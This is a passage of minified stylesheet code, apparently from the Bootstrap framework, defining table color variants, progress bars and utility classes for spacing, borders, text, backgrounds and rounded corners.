211.825);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-success{--bs-table-color: #000;--bs-table-bg: rgb(209, 231, 220.8);--bs-table-border-color: rgb(167.2, 184.8, 176.64);--bs-table-striped-bg: rgb(198.55, 219.45, 209.76);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(188.1, 207.9, 198.72);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(193.325, 213.675, 204.24);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-info{--bs-table-color: #000;--bs-table-bg: rgb(206.6, 244.4, 252);--bs-table-border-color: rgb(165.28, 195.52, 201.6);--bs-table-striped-bg: rgb(196.27, 232.18, 239.4);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(185.94, 219.96, 226.8);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(191.105, 226.07, 233.1);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-warning{--bs-table-color: #000;--bs-table-bg: rgb(255, 242.6, 205.4);--bs-table-border-color: rgb(204, 194.08, 164.32);--bs-table-striped-bg: rgb(242.25, 230.47, 195.13);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(229.5, 218.34, 184.86);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(235.875, 224.405, 189.995);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-danger{--bs-table-color: #000;--bs-table-bg: rgb(248, 214.6, 217.8);--bs-table-border-color: rgb(198.4, 171.68, 174.24);--bs-table-striped-bg: rgb(235.6, 203.87, 206.91);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(223.2, 193.14, 196.02);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(229.4, 198.505, 201.465);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-light{--bs-table-color: #000;--bs-table-bg: #f8f9fa;--bs-table-border-color: rgb(198.4, 199.2, 200);--bs-table-striped-bg: rgb(235.6, 236.55, 237.5);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(223.2, 224.1, 225);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(229.4, 230.325, 231.25);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-dark{--bs-table-color: #fff;--bs-table-bg: #212529;--bs-table-border-color: rgb(77.4, 80.6, 83.8);--bs-table-striped-bg: rgb(44.1, 47.9, 51.7);--bs-table-striped-color: #fff;--bs-table-active-bg: rgb(55.2, 58.8, 62.4);--bs-table-active-color: #fff;--bs-table-hover-bg: rgb(49.65, 53.35, 57.05);--bs-table-hover-color: #fff;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-responsive{overflow-x:auto;-webkit-overflow-scrolling:touch}@media(max-width: 575.98px){.table-responsive-sm{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media(max-width: 767.98px){.table-responsive-md{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media(max-width: 991.98px){.table-responsive-lg{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media(max-width: 1199.98px){.table-responsive-xl{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media(max-width: 1399.98px){.table-responsive-xxl{overflow-x:auto;-webkit-overflow-scrolling:touch}}@keyframes progress-bar-stripes{0%{background-position-x:var(--bs-progress-height)}}.progress,.progress-stacked{--bs-progress-height: 1rem;--bs-progress-font-size:0.75rem;--bs-progress-bg: var(--bs-secondary-bg);--bs-progress-border-radius: var(--bs-border-radius);--bs-progress-box-shadow: var(--bs-box-shadow-inset);--bs-progress-bar-color: #fff;--bs-progress-bar-bg: #0d6efd;--bs-progress-bar-transition: width 0.6s ease;display:flex;height:var(--bs-progress-height);overflow:hidden;font-size:var(--bs-progress-font-size);background-color:var(--bs-progress-bg);border-radius:var(--bs-progress-border-radius)}.progress-bar{display:flex;flex-direction:column;justify-content:center;overflow:hidden;color:var(--bs-progress-bar-color);text-align:center;white-space:nowrap;background-color:var(--bs-progress-bar-bg);transition:var(--bs-progress-bar-transition)}@media(prefers-reduced-motion: reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-size:var(--bs-progress-height) var(--bs-progress-height)}.progress-stacked>.progress{overflow:visible}.progress-stacked>.progress>.progress-bar{width:100%}.progress-bar-animated{animation:1s linear infinite progress-bar-stripes}@media(prefers-reduced-motion: reduce){.progress-bar-animated{animation:none}}.align-baseline{vertical-align:baseline !important}.align-top{vertical-align:top !important}.align-middle{vertical-align:middle !important}.align-bottom{vertical-align:bottom !important}.align-text-bottom{vertical-align:text-bottom !important}.align-text-top{vertical-align:text-top !important}.float-start{float:left !important}.float-end{float:right !important}.float-none{float:none !important}.object-fit-contain{object-fit:contain !important}.object-fit-cover{object-fit:cover !important}.object-fit-fill{object-fit:fill !important}.object-fit-scale{object-fit:scale-down !important}.object-fit-none{object-fit:none !important}.opacity-0{opacity:0 !important}.opacity-25{opacity:.25 !important}.opacity-50{opacity:.5 !important}.opacity-75{opacity:.75 !important}.opacity-100{opacity:1 !important}.overflow-auto{overflow:auto !important}.overflow-hidden{overflow:hidden !important}.overflow-visible{overflow:visible !important}.overflow-scroll{overflow:scroll !important}.overflow-x-auto{overflow-x:auto !important}.overflow-x-hidden{overflow-x:hidden !important}.overflow-x-visible{overflow-x:visible !important}.overflow-x-scroll{overflow-x:scroll !important}.overflow-y-auto{overflow-y:auto !important}.overflow-y-hidden{overflow-y:hidden !important}.overflow-y-visible{overflow-y:visible !important}.overflow-y-scroll{overflow-y:scroll !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-block{display:block !important}.d-grid{display:grid !important}.d-inline-grid{display:inline-grid !important}.d-table{display:table !important}.d-table-row{display:table-row !important}.d-table-cell{display:table-cell !important}.d-flex{display:flex !important}.d-inline-flex{display:inline-flex !important}.d-none{display:none !important}.shadow{box-shadow:var(--bs-box-shadow) !important}.shadow-sm{box-shadow:var(--bs-box-shadow-sm) !important}.shadow-lg{box-shadow:var(--bs-box-shadow-lg) !important}.shadow-none{box-shadow:none !important}.focus-ring-primary{--bs-focus-ring-color: rgba(var(--bs-primary-rgb), var(--bs-focus-ring-opacity))}.focus-ring-secondary{--bs-focus-ring-color: rgba(var(--bs-secondary-rgb), var(--bs-focus-ring-opacity))}.focus-ring-success{--bs-focus-ring-color: rgba(var(--bs-success-rgb), var(--bs-focus-ring-opacity))}.focus-ring-info{--bs-focus-ring-color: rgba(var(--bs-info-rgb), var(--bs-focus-ring-opacity))}.focus-ring-warning{--bs-focus-ring-color: rgba(var(--bs-warning-rgb), var(--bs-focus-ring-opacity))}.focus-ring-danger{--bs-focus-ring-color: rgba(var(--bs-danger-rgb), var(--bs-focus-ring-opacity))}.focus-ring-light{--bs-focus-ring-color: rgba(var(--bs-light-rgb), var(--bs-focus-ring-opacity))}.focus-ring-dark{--bs-focus-ring-color: rgba(var(--bs-dark-rgb), var(--bs-focus-ring-opacity))}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:sticky !important}.top-0{top:0 !important}.top-50{top:50% !important}.top-100{top:100% !important}.bottom-0{bottom:0 !important}.bottom-50{bottom:50% !important}.bottom-100{bottom:100% !important}.start-0{left:0 !important}.start-50{left:50% !important}.start-100{left:100% !important}.end-0{right:0 !important}.end-50{right:50% !important}.end-100{right:100% !important}.translate-middle{transform:translate(-50%, -50%) !important}.translate-middle-x{transform:translateX(-50%) !important}.translate-middle-y{transform:translateY(-50%) !important}.border{border:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-0{border:0 !important}.border-top{border-top:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-top-0{border-top:0 !important}.border-end{border-right:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-end-0{border-right:0 !important}.border-bottom{border-bottom:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-bottom-0{border-bottom:0 !important}.border-start{border-left:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-start-0{border-left:0 !important}.border-primary{--bs-border-opacity: 1;border-color:rgba(var(--bs-primary-rgb), var(--bs-border-opacity)) !important}.border-secondary{--bs-border-opacity: 1;border-color:rgba(var(--bs-secondary-rgb), var(--bs-border-opacity)) !important}.border-success{--bs-border-opacity: 1;border-color:rgba(var(--bs-success-rgb), var(--bs-border-opacity)) !important}.border-info{--bs-border-opacity: 1;border-color:rgba(var(--bs-info-rgb), var(--bs-border-opacity)) !important}.border-warning{--bs-border-opacity: 1;border-color:rgba(var(--bs-warning-rgb), var(--bs-border-opacity)) !important}.border-danger{--bs-border-opacity: 1;border-color:rgba(var(--bs-danger-rgb), var(--bs-border-opacity)) !important}.border-light{--bs-border-opacity: 1;border-color:rgba(var(--bs-light-rgb), var(--bs-border-opacity)) !important}.border-dark{--bs-border-opacity: 1;border-color:rgba(var(--bs-dark-rgb), var(--bs-border-opacity)) !important}.border-black{--bs-border-opacity: 1;border-color:rgba(var(--bs-black-rgb), var(--bs-border-opacity)) !important}.border-white{--bs-border-opacity: 1;border-color:rgba(var(--bs-white-rgb), var(--bs-border-opacity)) !important}.border-primary-subtle{border-color:var(--bs-primary-border-subtle) !important}.border-secondary-subtle{border-color:var(--bs-secondary-border-subtle) !important}.border-success-subtle{border-color:var(--bs-success-border-subtle) !important}.border-info-subtle{border-color:var(--bs-info-border-subtle) !important}.border-warning-subtle{border-color:var(--bs-warning-border-subtle) !important}.border-danger-subtle{border-color:var(--bs-danger-border-subtle) !important}.border-light-subtle{border-color:var(--bs-light-border-subtle) !important}.border-dark-subtle{border-color:var(--bs-dark-border-subtle) !important}.border-1{border-width:1px !important}.border-2{border-width:2px !important}.border-3{border-width:3px !important}.border-4{border-width:4px !important}.border-5{border-width:5px !important}.border-opacity-10{--bs-border-opacity: 0.1}.border-opacity-25{--bs-border-opacity: 0.25}.border-opacity-50{--bs-border-opacity: 0.5}.border-opacity-75{--bs-border-opacity: 0.75}.border-opacity-100{--bs-border-opacity: 1}.w-25{width:25% !important}.w-50{width:50% !important}.w-75{width:75% !important}.w-100{width:100% !important}.w-auto{width:auto !important}.mw-100{max-width:100% !important}.vw-100{width:100vw !important}.min-vw-100{min-width:100vw !important}.h-25{height:25% !important}.h-50{height:50% !important}.h-75{height:75% !important}.h-100{height:100% !important}.h-auto{height:auto !important}.mh-100{max-height:100% !important}.vh-100{height:100vh !important}.min-vh-100{min-height:100vh !important}.flex-fill{flex:1 1 auto !important}.flex-row{flex-direction:row !important}.flex-column{flex-direction:column !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-grow-0{flex-grow:0 !important}.flex-grow-1{flex-grow:1 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-shrink-1{flex-shrink:1 !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-start{justify-content:flex-start !important}.justify-content-end{justify-content:flex-end !important}.justify-content-center{justify-content:center !important}.justify-content-between{justify-content:space-between !important}.justify-content-around{justify-content:space-around !important}.justify-content-evenly{justify-content:space-evenly !important}.align-items-start{align-items:flex-start !important}.align-items-end{align-items:flex-end !important}.align-items-center{align-items:center !important}.align-items-baseline{align-items:baseline !important}.align-items-stretch{align-items:stretch !important}.align-content-start{align-content:flex-start !important}.align-content-end{align-content:flex-end !important}.align-content-center{align-content:center !important}.align-content-between{align-content:space-between !important}.align-content-around{align-content:space-around !important}.align-content-stretch{align-content:stretch !important}.align-self-auto{align-self:auto !important}.align-self-start{align-self:flex-start !important}.align-self-end{align-self:flex-end !important}.align-self-center{align-self:center !important}.align-self-baseline{align-self:baseline !important}.align-self-stretch{align-self:stretch !important}.order-first{order:-1 !important}.order-0{order:0 !important}.order-1{order:1 !important}.order-2{order:2 !important}.order-3{order:3 !important}.order-4{order:4 !important}.order-5{order:5 !important}.order-last{order:6 !important}.m-0{margin:0 !important}.m-1{margin:.25rem !important}.m-2{margin:.5rem !important}.m-3{margin:1rem !important}.m-4{margin:1.5rem !important}.m-5{margin:3rem !important}.m-auto{margin:auto !important}.mx-0{margin-right:0 !important;margin-left:0 !important}.mx-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-3{margin-right:1rem !important;margin-left:1rem !important}.mx-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-5{margin-right:3rem !important;margin-left:3rem !important}.mx-auto{margin-right:auto !important;margin-left:auto !important}.my-0{margin-top:0 !important;margin-bottom:0 !important}.my-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-0{margin-top:0 !important}.mt-1{margin-top:.25rem !important}.mt-2{margin-top:.5rem !important}.mt-3{margin-top:1rem !important}.mt-4{margin-top:1.5rem !important}.mt-5{margin-top:3rem !important}.mt-auto{margin-top:auto !important}.me-0{margin-right:0 !important}.me-1{margin-right:.25rem !important}.me-2{margin-right:.5rem !important}.me-3{margin-right:1rem !important}.me-4{margin-right:1.5rem !important}.me-5{margin-right:3rem !important}.me-auto{margin-right:auto !important}.mb-0{margin-bottom:0 !important}.mb-1{margin-bottom:.25rem !important}.mb-2{margin-bottom:.5rem !important}.mb-3{margin-bottom:1rem !important}.mb-4{margin-bottom:1.5rem !important}.mb-5{margin-bottom:3rem !important}.mb-auto{margin-bottom:auto !important}.ms-0{margin-left:0 !important}.ms-1{margin-left:.25rem !important}.ms-2{margin-left:.5rem !important}.ms-3{margin-left:1rem !important}.ms-4{margin-left:1.5rem !important}.ms-5{margin-left:3rem !important}.ms-auto{margin-left:auto !important}.p-0{padding:0 !important}.p-1{padding:.25rem !important}.p-2{padding:.5rem !important}.p-3{padding:1rem !important}.p-4{padding:1.5rem !important}.p-5{padding:3rem !important}.px-0{padding-right:0 !important;padding-left:0 !important}.px-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-3{padding-right:1rem !important;padding-left:1rem !important}.px-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-5{padding-right:3rem !important;padding-left:3rem !important}.py-0{padding-top:0 !important;padding-bottom:0 !important}.py-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-0{padding-top:0 !important}.pt-1{padding-top:.25rem !important}.pt-2{padding-top:.5rem !important}.pt-3{padding-top:1rem !important}.pt-4{padding-top:1.5rem !important}.pt-5{padding-top:3rem !important}.pe-0{padding-right:0 !important}.pe-1{padding-right:.25rem !important}.pe-2{padding-right:.5rem !important}.pe-3{padding-right:1rem !important}.pe-4{padding-right:1.5rem !important}.pe-5{padding-right:3rem !important}.pb-0{padding-bottom:0 !important}.pb-1{padding-bottom:.25rem !important}.pb-2{padding-bottom:.5rem !important}.pb-3{padding-bottom:1rem !important}.pb-4{padding-bottom:1.5rem !important}.pb-5{padding-bottom:3rem !important}.ps-0{padding-left:0 !important}.ps-1{padding-left:.25rem !important}.ps-2{padding-left:.5rem !important}.ps-3{padding-left:1rem !important}.ps-4{padding-left:1.5rem !important}.ps-5{padding-left:3rem !important}.gap-0{gap:0 !important}.gap-1{gap:.25rem !important}.gap-2{gap:.5rem !important}.gap-3{gap:1rem !important}.gap-4{gap:1.5rem !important}.gap-5{gap:3rem !important}.row-gap-0{row-gap:0 !important}.row-gap-1{row-gap:.25rem !important}.row-gap-2{row-gap:.5rem !important}.row-gap-3{row-gap:1rem !important}.row-gap-4{row-gap:1.5rem !important}.row-gap-5{row-gap:3rem !important}.column-gap-0{column-gap:0 !important}.column-gap-1{column-gap:.25rem !important}.column-gap-2{column-gap:.5rem !important}.column-gap-3{column-gap:1rem !important}.column-gap-4{column-gap:1.5rem !important}.column-gap-5{column-gap:3rem !important}.font-monospace{font-family:var(--bs-font-monospace) !important}.fs-1{font-size:calc(1.375rem + 1.5vw) !important}.fs-2{font-size:calc(1.325rem + 0.9vw) !important}.fs-3{font-size:calc(1.3rem + 0.6vw) !important}.fs-4{font-size:calc(1.275rem + 0.3vw) !important}.fs-5{font-size:1.25rem !important}.fs-6{font-size:1rem !important}.fst-italic{font-style:italic !important}.fst-normal{font-style:normal !important}.fw-lighter{font-weight:lighter !important}.fw-light{font-weight:300 !important}.fw-normal{font-weight:400 !important}.fw-medium{font-weight:500 !important}.fw-semibold{font-weight:600 !important}.fw-bold{font-weight:700 !important}.fw-bolder{font-weight:bolder !important}.lh-1{line-height:1 !important}.lh-sm{line-height:1.25 !important}.lh-base{line-height:1.5 !important}.lh-lg{line-height:2 !important}.text-start{text-align:left !important}.text-end{text-align:right !important}.text-center{text-align:center !important}.text-decoration-none{text-decoration:none !important}.text-decoration-underline{text-decoration:underline !important}.text-decoration-line-through{text-decoration:line-through !important}.text-lowercase{text-transform:lowercase !important}.text-uppercase{text-transform:uppercase !important}.text-capitalize{text-transform:capitalize !important}.text-wrap{white-space:normal !important}.text-nowrap{white-space:nowrap !important}.text-break{word-wrap:break-word !important;word-break:break-word !important}.text-primary{--bs-text-opacity: 1;color:rgba(var(--bs-primary-rgb), var(--bs-text-opacity)) !important}.text-secondary{--bs-text-opacity: 1;color:rgba(var(--bs-secondary-rgb), var(--bs-text-opacity)) !important}.text-success{--bs-text-opacity: 1;color:rgba(var(--bs-success-rgb), var(--bs-text-opacity)) !important}.text-info{--bs-text-opacity: 1;color:rgba(var(--bs-info-rgb), var(--bs-text-opacity)) !important}.text-warning{--bs-text-opacity: 1;color:rgba(var(--bs-warning-rgb), var(--bs-text-opacity)) !important}.text-danger{--bs-text-opacity: 1;color:rgba(var(--bs-danger-rgb), var(--bs-text-opacity)) !important}.text-light{--bs-text-opacity: 1;color:rgba(var(--bs-light-rgb), var(--bs-text-opacity)) !important}.text-dark{--bs-text-opacity: 1;color:rgba(var(--bs-dark-rgb), var(--bs-text-opacity)) !important}.text-black{--bs-text-opacity: 1;color:rgba(var(--bs-black-rgb), var(--bs-text-opacity)) !important}.text-white{--bs-text-opacity: 1;color:rgba(var(--bs-white-rgb), var(--bs-text-opacity)) !important}.text-body{--bs-text-opacity: 1;color:rgba(var(--bs-body-color-rgb), var(--bs-text-opacity)) !important}.text-muted{--bs-text-opacity: 1;color:var(--bs-secondary-color) !important}.text-black-50{--bs-text-opacity: 1;color:rgba(0,0,0,.5) !important}.text-white-50{--bs-text-opacity: 1;color:hsla(0,0%,100%,.5) !important}.text-body-secondary{--bs-text-opacity: 1;color:var(--bs-secondary-color) !important}.text-body-tertiary{--bs-text-opacity: 1;color:var(--bs-tertiary-color) !important}.text-body-emphasis{--bs-text-opacity: 1;color:var(--bs-emphasis-color) !important}.text-reset{--bs-text-opacity: 1;color:inherit !important}.text-opacity-25{--bs-text-opacity: 0.25}.text-opacity-50{--bs-text-opacity: 0.5}.text-opacity-75{--bs-text-opacity: 0.75}.text-opacity-100{--bs-text-opacity: 1}.text-primary-emphasis{color:var(--bs-primary-text-emphasis) !important}.text-secondary-emphasis{color:var(--bs-secondary-text-emphasis) !important}.text-success-emphasis{color:var(--bs-success-text-emphasis) !important}.text-info-emphasis{color:var(--bs-info-text-emphasis) !important}.text-warning-emphasis{color:var(--bs-warning-text-emphasis) !important}.text-danger-emphasis{color:var(--bs-danger-text-emphasis) !important}.text-light-emphasis{color:var(--bs-light-text-emphasis) !important}.text-dark-emphasis{color:var(--bs-dark-text-emphasis) !important}.link-opacity-10{--bs-link-opacity: 0.1}.link-opacity-10-hover:hover{--bs-link-opacity: 0.1}.link-opacity-25{--bs-link-opacity: 0.25}.link-opacity-25-hover:hover{--bs-link-opacity: 0.25}.link-opacity-50{--bs-link-opacity: 0.5}.link-opacity-50-hover:hover{--bs-link-opacity: 0.5}.link-opacity-75{--bs-link-opacity: 0.75}.link-opacity-75-hover:hover{--bs-link-opacity: 0.75}.link-opacity-100{--bs-link-opacity: 1}.link-opacity-100-hover:hover{--bs-link-opacity: 1}.link-offset-1{text-underline-offset:.125em !important}.link-offset-1-hover:hover{text-underline-offset:.125em !important}.link-offset-2{text-underline-offset:.25em !important}.link-offset-2-hover:hover{text-underline-offset:.25em !important}.link-offset-3{text-underline-offset:.375em !important}.link-offset-3-hover:hover{text-underline-offset:.375em !important}.link-underline-primary{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-primary-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-secondary{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-secondary-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-success{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-success-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-info{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-info-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-warning{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-warning-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-danger{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-danger-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-light{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-light-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-dark{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-dark-rgb), var(--bs-link-underline-opacity)) !important}.link-underline{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-link-color-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-underline-opacity-0{--bs-link-underline-opacity: 0}.link-underline-opacity-0-hover:hover{--bs-link-underline-opacity: 0}.link-underline-opacity-10{--bs-link-underline-opacity: 0.1}.link-underline-opacity-10-hover:hover{--bs-link-underline-opacity: 0.1}.link-underline-opacity-25{--bs-link-underline-opacity: 0.25}.link-underline-opacity-25-hover:hover{--bs-link-underline-opacity: 0.25}.link-underline-opacity-50{--bs-link-underline-opacity: 0.5}.link-underline-opacity-50-hover:hover{--bs-link-underline-opacity: 0.5}.link-underline-opacity-75{--bs-link-underline-opacity: 0.75}.link-underline-opacity-75-hover:hover{--bs-link-underline-opacity: 0.75}.link-underline-opacity-100{--bs-link-underline-opacity: 1}.link-underline-opacity-100-hover:hover{--bs-link-underline-opacity: 1}.bg-primary{--bs-bg-opacity: 1;background-color:rgba(var(--bs-primary-rgb), var(--bs-bg-opacity)) !important}.bg-secondary{--bs-bg-opacity: 1;background-color:rgba(var(--bs-secondary-rgb), var(--bs-bg-opacity)) !important}.bg-success{--bs-bg-opacity: 1;background-color:rgba(var(--bs-success-rgb), var(--bs-bg-opacity)) !important}.bg-info{--bs-bg-opacity: 1;background-color:rgba(var(--bs-info-rgb), var(--bs-bg-opacity)) !important}.bg-warning{--bs-bg-opacity: 1;background-color:rgba(var(--bs-warning-rgb), var(--bs-bg-opacity)) !important}.bg-danger{--bs-bg-opacity: 1;background-color:rgba(var(--bs-danger-rgb), var(--bs-bg-opacity)) !important}.bg-light{--bs-bg-opacity: 1;background-color:rgba(var(--bs-light-rgb), var(--bs-bg-opacity)) !important}.bg-dark{--bs-bg-opacity: 1;background-color:rgba(var(--bs-dark-rgb), var(--bs-bg-opacity)) !important}.bg-black{--bs-bg-opacity: 1;background-color:rgba(var(--bs-black-rgb), var(--bs-bg-opacity)) !important}.bg-white{--bs-bg-opacity: 1;background-color:rgba(var(--bs-white-rgb), var(--bs-bg-opacity)) !important}.bg-body{--bs-bg-opacity: 1;background-color:rgba(var(--bs-body-bg-rgb), var(--bs-bg-opacity)) !important}.bg-transparent{--bs-bg-opacity: 1;background-color:rgba(0,0,0,0) !important}.bg-body-secondary{--bs-bg-opacity: 1;background-color:rgba(var(--bs-secondary-bg-rgb), var(--bs-bg-opacity)) !important}.bg-body-tertiary{--bs-bg-opacity: 1;background-color:rgba(var(--bs-tertiary-bg-rgb), var(--bs-bg-opacity)) !important}.bg-opacity-10{--bs-bg-opacity: 0.1}.bg-opacity-25{--bs-bg-opacity: 0.25}.bg-opacity-50{--bs-bg-opacity: 0.5}.bg-opacity-75{--bs-bg-opacity: 0.75}.bg-opacity-100{--bs-bg-opacity: 1}.bg-primary-subtle{background-color:var(--bs-primary-bg-subtle) !important}.bg-secondary-subtle{background-color:var(--bs-secondary-bg-subtle) !important}.bg-success-subtle{background-color:var(--bs-success-bg-subtle) !important}.bg-info-subtle{background-color:var(--bs-info-bg-subtle) !important}.bg-warning-subtle{background-color:var(--bs-warning-bg-subtle) !important}.bg-danger-subtle{background-color:var(--bs-danger-bg-subtle) !important}.bg-light-subtle{background-color:var(--bs-light-bg-subtle) !important}.bg-dark-subtle{background-color:var(--bs-dark-bg-subtle) !important}.bg-gradient{background-image:var(--bs-gradient) !important}.user-select-all{user-select:all !important}.user-select-auto{user-select:auto !important}.user-select-none{user-select:none !important}.pe-none{pointer-events:none !important}.pe-auto{pointer-events:auto !important}.rounded{border-radius:var(--bs-border-radius) !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:var(--bs-border-radius-sm) !important}.rounded-2{border-radius:var(--bs-border-radius) !important}.rounded-3{border-radius:var(--bs-border-radius-lg) !important}.rounded-4{border-radius:var(--bs-border-radius-xl) !important}.rounded-5{border-radius:var(--bs-border-radius-xxl) !important}.rounded-circle{border-radius:50% !important}.rounded-pill{border-radius:var(--bs-border-radius-pill) !important}.rounded-top{border-top-left-radius:var(--bs-border-radius) !important;border-top-right-radius:var(--bs-border-radius) !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:var(--bs-border-radius-sm) !important;border-top-right-radius:var(--bs-border-radius-sm) !important}.rounded-top-2{border-top-left-radius:var(--bs-border-radius) !important;border-top-right-radius:var(--bs-border-radius) !important}.rounded-top-3{border-top-left-radius:var(--bs-border-radius-lg) !important;border-top-right-radius:var(--bs-border-radius-lg) !important}.rounded-top-4{border-top-left-radius:var(--bs-border-radius-xl) !important;border-top-right-radius:var(--bs-border-radius-xl) !important}.rounded-top-5{border-top-left-radius:var(--bs-border-radius-xxl) !important;border-top-right-radius:var(--bs-border-radius-xxl) !important}.rounded-top-circle{border-top-left-radius:50% !important;border-top-right-radius:50% !important}.rounded-top-pill{border-top-left-radius:var(--bs-border-radius-pill) !important;border-top-right-radius:var(--bs-border-radius-pill) !important}.rounded-end{border-top-right-radius:var(--bs-border-radius) !important;border-bottom-right-radius:var(--bs-border-radius) !important}.rounded-end-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-end-1{border-top-right-radius:var(--bs-border-radius-sm) !important;border-bottom-right-radius:var(--bs-border-radius-sm) !important}.rounded-end-2{border-top-right-radius:var(--bs-border-radius) !important;border-bottom-right-radius:var(--bs-border-radius) !important}.rounded-end-3{border-top-right-radius:var(--bs-border-radius-lg) !important;border-bottom-right-radius:var(--bs-border-radius-lg) !important}.rounded-end-4{border-top-right-radius:var(--bs-border-radius-xl) !important;border-bottom-right-radius:var(--bs-border-radius-xl) !important}.rounded-end-5{border-top-right-radius:var(--bs-border-radius-xxl) !important;border-bottom-right-radius:var(--bs-border-radius-xxl) !important}.rounded-end-circle{border-top-right-radius:50% !important;border-bottom-right-radius:50% !important}.rounded-end-pill{border-top-right-radius:var(--bs-border-radius-pill) !important;border-bottom-right-radius:var(--bs-border-radius-pill) !important}.rounded-bottom{border-bottom-right-radius:var(--bs-border-radius) !important;border-bottom-left-radius:var(--bs-border-radius) !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:var(--bs-border-radius-sm) !important;border-bottom-left-radius:var(--bs-border-radius-sm) !important}.rounded-bottom-2{border-bottom-right-radius:var(--bs-border-radius) !important;border-bottom-left-radius:var(--bs-border-radius) !important}.rounded-bottom-3{border-bottom-right-radius:var(--bs-border-radius-lg) !important;border-bottom-left-radius:var(--bs-border-radius-lg) !important}.rounded-bottom-4{border-bottom-right-radius:var(--bs-border-radius-xl) !important;border-bottom-left-radius:var(--bs-border-radius-xl) !important}.rounded-bottom-5{border-bottom-right-radius:var(--bs-border-radius-xxl) !important;border-bottom-left-radius:var(--bs-border-radius-xxl) !important}.rounded-bottom-circle{border-bottom-right-radius:50% !important;border-bottom-left-radius:50% !important}.rounded-bottom-pill{border-bottom-right-radius:var(--bs-border-radius-pill) !important;border-bottom-left-radius:var(--bs-border-radius-pill) !important}.rounded-start{border-bottom-left-radius:var(--bs-border-radius) !important;border-top-left-radius:var(--bs-border-radius) !important}.rounded-start-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-start-1{border-bottom-left-radius:var(--bs-border-radius-sm) !important;border-top-left-radius:var(--bs-border-radius-sm) !important}.rounded-start-2{border-bottom-left-radius:var(--bs-border-radius) !important;border-top-left-radius:var(--bs-border-radius) !important}.rounded-start-3{border-bottom-left-radius:var(--bs-border-radius-lg) 